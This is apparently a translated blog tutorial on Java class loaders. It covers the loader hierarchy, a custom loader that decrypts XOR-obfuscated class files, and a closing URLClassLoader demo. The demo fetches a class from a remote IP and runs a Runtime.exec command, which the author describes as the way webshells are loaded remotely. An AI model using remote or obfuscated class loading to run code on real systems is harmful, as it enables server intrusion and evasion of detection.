[Java Security] Class Loader ClassLoader

foreword

Borrowing a picture from the Prophet Community's article
insert image description here
to explain this principle is responsible for dynamically loading Java classes into the memory space of the Java virtual machine for loading class files from the system, network or other sources. The Java source code is compiled into a class file by the javac compiler, and then the JVM executes the bytecode in the class file to execute the program.

Introduction to class loaders

Class loaders are roughly divided into two categories:

  • JVM default class loader
  • User-defined class loader

Classloader classification

  • BootstrapClassLoader: It is part of the jvm, does not inherit the java.lang.ClassLoader class, and has no parent loader. It is mainly responsible for loading the core java library (ie the JVM itself), which is stored in the /jre/lib/rt.jar directory among,
  • ExtensionsClassLoader: sun.misc.Launcher$ExtClassLoader class implementation, used to load java extension libraries in the directory specified in /jre/lib/ext or java.ext.dirs
  • System class loader (AppClassLoader): implemented by sun.misc.Launcher$AppClassLoader, which generally loads Java classes through (java.class.path or Classpath environment variable), which is what we often call the classpath path. Usually we use this loading class to load Java application classes, you can use ClassLoader.getSystemClassLoader() to get it
  • Custom class loader (UserDefineClassLoader): This is the class loader customized by the user

ClassLoader class core method

In addition to the above bootstrap class loader BootstrapClassLoader, other class loaders inherit the CLassLoader class.
ClassLoader class is an abstract class. The main function is to find the corresponding bytecode through the specified class name and return a java.lang.Class instance of the class.

loadClass: load the specified java class

Load the class named name, the returned result is an instance of the java.lang.Class class

You can see the source code of loadClass

    protected Class<?> loadClass(String name, boolean resolve)
        throws ClassNotFoundException
    {
    
    
        synchronized (getClassLoadingLock(name)) {
    
    
            // First, check if the class has already been loaded
            Class<?> c = findLoadedClass(name);
            if (c == null) {
    
    
                long t0 = System.nanoTime();
                try {
    
    
                    if (parent != null) {
    
    
                        c = parent.loadClass(name, false);
                    } else {
    
    
                        c = findBootstrapClassOrNull(name);
                    }
                } catch (ClassNotFoundException e) {
    
    
                    // ClassNotFoundException thrown if class not found
                    // from the non-null parent class loader
                }

                if (c == null) {
    
    
                    // If still not found, then invoke findClass in order
                    // to find the class.
                    long t1 = System.nanoTime();
                    c = findClass(name);

                    // this is the defining class loader; record the stats
                    sun.misc.PerfCounter.getParentDelegationTime().addTime(t1 - t0);
                    sun.misc.PerfCounter.getFindClassTime().addElapsedTimeFrom(t1);
                    sun.misc.PerfCounter.getFindClasses().increment();
                }
            }
            if (resolve) {
    
    
                resolveClass(c);
            }
            return c;
        }
    }

First perform findLoadedClass to determine whether the class has been loaded. If it has been loaded, it will return directly; if it has not been loaded, use the loader of the loader's parent class to load it. When there is no parent class, its own findClass method will be called, so the findClass method can be rewritten to complete some special requirements for class loading

findCLass: Find the specified Java class

protected Class<?> findClass(String name) throws ClassNotFoundException {
    
    
        throw new ClassNotFoundException(name);
    }

findLoadedClass: Find classes that have been loaded by the JVM

protected final Class<?> findLoadedClass(String name) {
    
    
        if (!checkName(name))
            return null;
        return findLoadedClass0(name);
    }

defineClass: Define a Java class that parses the bytecode into a Class object recognized by the virtual machine. Often used in conjunction with the findClass() method

protected final Class<?> defineClass(byte[] b, int off, int len)
        throws ClassFormatError
    {
    
    
        return defineClass(null, b, off, len, null);
    }

resolveClass: The link specifies the Java class

protected final void resolveClass(Class<?> c) {
    
    
        resolveClass0(c);
    }

    private native void resolveClass0(Class c);

custom class loader

So if we want to customize the class loader, then we have to do the following steps:

  1. Inherit the ClassLoader class
  2. Overload the fandClass method
  3. Convert bytecode to java.lang.class class object using defineClass method

insert image description here
insert image description here
code sample
messageTest

public class messageTest {
    public static void main(String[] args){
        System.out.println("This is the secret!");
    }
}


Class encodeTest that encrypts class files

import java.io.*;

public class encodeTest {
    
    
    public static void main(String[] args) throws IOException {
    
    
        encode(
              new File("../out/production/Classloader/messageTest.class"),
              new File("../out/production/Classloader/test/messageTest.class")
        );
    }
    public static void encode(File src, File out) throws IOException {
    
    
        FileInputStream fin;
        FileOutputStream fout;

        fin = new FileInputStream(src);
        fout = new FileOutputStream(out);

        int temp = -1;
        while ((temp = fin.read()) != -1) {
    
    // 读取一个字节
            fout.write(temp ^ 0xff);// 取反输出
        }
        fin.close();
        fout.close();
    }
}

Then write the decryption class and rewrite the findclass method

import java.io.ByteArrayOutputStream;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.InputStream;

public class decodeTest extends ClassLoader{
    
    
    private String rootDir;

    public decodeTest(String rootDir) {
    
    
        this.rootDir = rootDir;
    }
    
    // 解密文件
    public byte[] getClassData(String className) throws IOException {
    
    
        String path = rootDir + "/" + className.replace('.', '/') + ".class";
        // 将流中的数据转换为字节数组
        InputStream is = null;
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        is = new FileInputStream(path);
        byte[] buffer = new byte[1024];
        int temp = -1;
        while ((temp = is.read()) != -1) {
    
    
            baos.write(temp ^ 0xff);
        }
        return baos.toByteArray();
    }

    @Override // 重写覆盖findClass
    protected Class<?> findClass(String className) throws ClassNotFoundException {
    
    
        Class<?> c = findLoadedClass(className);
        if (c != null) {
    
    
            return c;
        } else {
    
    
            ClassLoader parent = this.getParent();

            c = parent.loadClass(className);
            if (c != null) {
    
    
                System.out.println("父类成功加载");
                return c;
            } else {
    
    // 读取文件 转化成字节数组
                byte[] classData = new byte[0];
                try {
    
    
                    classData = getClassData(className);
                } catch (IOException e) {
    
    
                    e.printStackTrace();
                }
                if (classData == null) {
    
    
                    throw new ClassNotFoundException();
                } else {
    
     // 调用defineClass()方法
                    c = defineClass(className, classData, 0, classData.length);
                    return c;
                }
            }
        }
    }
}

rewrite the test class

public class loadClassTest {
    
    
    public static void main(String[] args) throws ClassNotFoundException {
    
    
        decodeTest de = new decodeTest("/Users/liucheng/Desktop/JavaSec/out/production/Classloader/test/");
        Class<?> a = de.loadClass("messageTest");
        System.out.println(a);

    }

}

Since the class file I specified is an encrypted class file, the class loader that comes with java cannot be loaded. Here we successfully use the custom class loader to decrypt and load it into messageTest
insert image description here

URLClassLoader

URLClassLoader is an implementation of ClassLoader, which has the ability to load classes on remote servers. Through this URLClassLoader, remote loading of some webshells can be realized.

Here is an example where
I generate a class that executes system commands on the Tomcat server

public class Test {
    
    
    public static void main(String[] args){
    
    
        try{
    
    
            Runtime.getRuntime().exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator");
        } 
        catch(Exception e) {
    
    
            e.printStackTrace();
        }
    }

}

insert image description here
Then load this class remotely in the project

import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLClassLoader;

public class URLClassLoaderTest {
    
    
    public static void main(String[] args) throws MalformedURLException, ClassNotFoundException, InstantiationException, IllegalAccessException {
    
    
        URL url = new URL("http://101.35.98.118:12424/javatest/");
        URLClassLoader cl = new URLClassLoader(new URL[]{
    
    url});
        Class c = cl.loadClass("Test");
        c.newInstance();
    }
}

Guess you like

Origin blog.csdn.net/m0_51078229/article/details/123359096